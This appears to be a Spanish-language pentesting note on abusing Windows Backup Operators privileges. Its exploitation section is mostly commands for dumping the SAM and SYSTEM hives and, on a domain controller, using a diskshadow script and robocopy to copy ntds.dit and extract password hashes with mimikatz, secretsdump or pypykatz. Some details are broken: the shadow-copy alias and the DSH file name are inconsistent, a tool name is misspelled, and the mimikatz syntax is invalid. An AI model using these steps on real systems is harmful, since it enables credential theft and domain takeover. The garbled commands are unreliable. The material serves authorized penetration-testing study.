Backup Operators

BackupOperators - SeBackupPrivilege y SeRestorePrivilege

El grupo BackupOperators es un grupo integrado en Windows que otorga a sus miembros la capacidad de realizar copias de seguridad y restaurar archivos, incluso si no tienen permisos para acceder a esos archivos en circunstancias normales. Este privilegio hace que el grupo sea especialmente poderoso y potencialmente peligroso en escenarios de escalación de privilegios, ya que los miembros pueden acceder a archivos sensibles, como la base de datos SAM (Security Account Manager) y archivos del sistema, lo que podría permitirles obtener acceso de mayor nivel o incluso privilegios de SYSTEM.

Privilegios Clave del grupo Backup Operators

Los miembros del grupo Backup Operators tienen dos privilegios principales:

  1. SeBackupPrivilege:
    • Permite a los usuarios omitir los permisos del sistema de archivos para realizar copias de seguridad. Esto significa que un miembro de este grupo puede leer archivos a los que normalmente no tendría acceso.
    • Ejemplo de uso: Acceder a archivos protegidos como el archivo SAM, que almacena los hashes de las contraseñas de los usuarios locales.
  2. SeRestorePrivilege:
    • Permite a los usuarios restaurar archivos en cualquier ubicación del sistema de archivos, incluyendo ubicaciones protegidas o sensibles. Esto también les permite modificar archivos que normalmente estarían restringidos.
    • Ejemplo de uso: Sobrescribir archivos del sistema, como binarios de servicios, para ejecutar código malicioso con privilegios elevados.

Explotación

Extraer el archivo SAM:

Usar herramientas como reg.exe para exportar el archivo SAM y SYSTEM:

reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM

Extraer los hashes de contraseñas.

mimikatz

Desde Windows podemos usar mimikatz

sekurlsa::samdump::local c:\temp\sam c:\temp\system

También podemos transferir los archivos a nuestra máquina atacante y usar secretsdump.py o pypykatz.

secretsdump.py

impacket-secrestsdump -sam sam -system system local

pypykatz

pypykatz registry --sam sam system

Extracción del archivo ntds.dit en un Controlador de Dominio

A diferencia de la explotación en sistemas independientes, en un Controlador de Dominio (DC), necesitamos acceder al archivo ntds.dit para extraer los hashes de contraseñas, junto con el archivo SYSTEM. Sin embargo, el archivo ntds.dit presenta un desafío importante: mientras el Controlador de Dominio está en funcionamiento, este archivo está siempre en uso, lo que impide su copia directa mediante métodos convencionales.

Para superar este problema, podemos utilizar la herramienta diskshadow, una funcionalidad integrada de Windows que nos permite crear una copia en la sombra (shadow copy) de una unidad, incluso si está en uso. Aunque diskshadow puede ejecutarse directamente desde una shell, este enfoque suele ser complicado y propenso a errores. Por ello, optamos por crear un Archivo Shell Distribuido (DSH), que contiene todos los comandos necesarios para que diskshadow realice la copia de la unidad de manera automatizada.

1. Crear el Archivo DSH

En nuestra máquina de atacante, creamos un archivo DSH utilizando un editor de texto. Este archivo contendrá los comandos necesarios para que diskshadow cree una copia de la unidad C: en una unidad virtual Z:. Aquí está el contenido del archivo DSH:

> vim cmd
set context persistent nowriters
add volume c: alias cmd
create
expose %cmd% z:
> unix2dos cmd.dsh
  • set context persistent nowriters: Configura el contexto para crear una copia en la sombra persistente y sin escritura.
  • add volume c: alias backup: Agrega la unidad C: como un volumen para la copia, asignándole el alias backup.
  • create: Crea la copia en la sombra.
  • expose %backup% z:: Expone la copia en la sombra como una nueva unidad Z:.

2. Convertir el Archivo DSH a Formato Windows

Dado que el archivo DSH se crea en un entorno Linux, debemos asegurarnos de que sea compatible con Windows. Para ello, usamos la herramienta unix2dos, que convierte la codificación y el espaciado del archivo a un formato compatible con Windows:

unix2dos cmd.dsh

Esto asegura que los saltos de línea y la codificación sean correctos para su ejecución en Windows.

3. Transferir el Archivo DSH al Controlador de Dominio:

Una vez convertido, transferimos el archivo DSH al Controlador de Dominio utilizando métodos como SMB, FTP o cualquier otro medio disponible.

4. Ejecutar diskshadow con el Archivo DSH y Extraer el Archivo ntds.dit

Una vez conectados en la máquina objetivo, nos movemos al Directorio Temp y subimos el archivo archivo.dsh. Luego, usamos el script diskshadow con dsh como se muestra abajo. Si se observa, se puede notar que diskshadow está efectivamente ejecutando los mismos comandos que ingresamos en el archivo dsh secuencialmente. Después de ejecutarse, como se ha comentado, creará una copia de la unidad C en la unidad Z. Ahora, podemos utilizar la herramienta RoboCopy para copiar el archivo de la unidad Z al directorio temporal.

cd C:\Temp
upload archivo.dsh
cmd.exe /c "diskshadow /s archivo.dsh"
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system

5. Extraer los hashes

Transferimos los archivos a nuestra máquina atacante y extraemos los hashes.

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL